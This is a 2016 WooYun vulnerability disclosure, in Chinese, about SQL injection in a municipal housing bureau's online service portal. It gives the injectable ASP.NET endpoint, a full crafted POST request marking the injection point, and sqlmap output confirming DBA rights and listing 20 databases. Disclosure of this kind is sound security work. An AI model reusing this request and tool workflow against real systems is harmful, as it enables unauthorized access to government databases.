当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0209943

漏洞标题:一个注入受牵连的某市住房和城乡建设局网上办事大厅

相关厂商:某市住房和城乡建设局网上办事大厅SQL注入

漏洞作者: elevensec11

提交时间:2016-05-18 13:00

修复时间:2016-05-23 13:00

公开时间:2016-05-23 13:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-18: 细节已通知厂商并且等待厂商处理中
2016-05-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

入口:

**.**.**.**/CreditPlatform/Pages/PingFenGS/ZongChengBaoGSYear.aspx


网上办事大厅:

**.**.**.**/ZiboHuiYuanShenBao/


POST包:

POST /CreditPlatform/Pages/PingFenGS/ZongChengBaoGSYear.aspx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: **.**.**.**/CreditPlatform/Pages/PingFenGS/ZongChengBaoGSYear.aspx
X-Forwarded-For: 1..
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------172172203313378
Content-Length: 5589
-----------------------------172172203313378
Content-Disposition: form-data; name="__EVENTTARGET"
-----------------------------172172203313378
Content-Disposition: form-data; name="__EVENTARGUMENT"
-----------------------------172172203313378
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUGODQ1NDMxD2QWAmYPZBYCAgMPZBYCAgEPZBYCZg9kFgJmD2QWBgIJDxBkEBUFAAQyMDEyBDIwMTMEMjAxNAQyMDE1FQUABDIwMTIEMjAxMwQyMDE0BDIwMTUU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wJDEFGmN0bDAwJE1haW5Db250ZW50JENCQ29ycCQxxwSAp9SQz+2I2v8xJZcwFrPk/pM=
-----------------------------172172203313378
Content-Disposition: form-data; name="__EVENTVALIDATION"
/wEWCwK1voO+CQK4qt/MCQKplrXzCAKplrHzCAL3xK/fDALSzZfeDAKQmb6wCQLTjv3WAQLTjpG7CQLTjqWADgLTjrnlB1yIj+lapfWeTDgHzAPAK0VrHosQ
-----------------------------172172203313378
Content-Disposition: form-data; name="ctl00$MainContent$txtDanweiName"
ABCD1*
-----------------------------172172203313378
Content-Disposition: form-data; name="ctl00$MainContent$CBCorp$0"
on
-----------------------------172172203313378
Content-Disposition: form-data; name="ctl00$MainContent$btnOK"
??????′¢
-----------------------------172172203313378
Content-Disposition: form-data; name="ctl00$MainContent$dtbPingJiaDate"
-----------------------------172172203313378
Content-Disposition: form-data; name="ctl00$MainContent$yearDrop"
2015
-----------------------------172172203313378--


DBA权限:

[02:34:12] [INFO] testing Microsoft SQL Server
[02:34:12] [INFO] confirming Microsoft SQL Server
[02:34:14] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[02:34:14] [INFO] testing if current user is DBA
current user is DBA: True
[02:34:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[02:34:14] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\**.**.**.**'


漏洞证明:

20个库:

available databases [20]:
[*] ArcGisSDE
[*] dxgxzz
[*] EpointFrame8_Monitor
[*] EpointFrame_ZBJS
[*] EpointNetoffice
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] rmgyzz
[*] sde
[*] stzxzz
[*] szhwzz
[*] tempdb
[*] yljzz
[*] ZiBoDaJianGuan
[*] ZiBoDJG_EpointSystemSupport
[*] ZiBoDJG_XZSP
[*] ZiBoZJZ

修复方案:

分开?过滤

版权声明:转载请注明来源 elevensec11@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-23 13:00

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价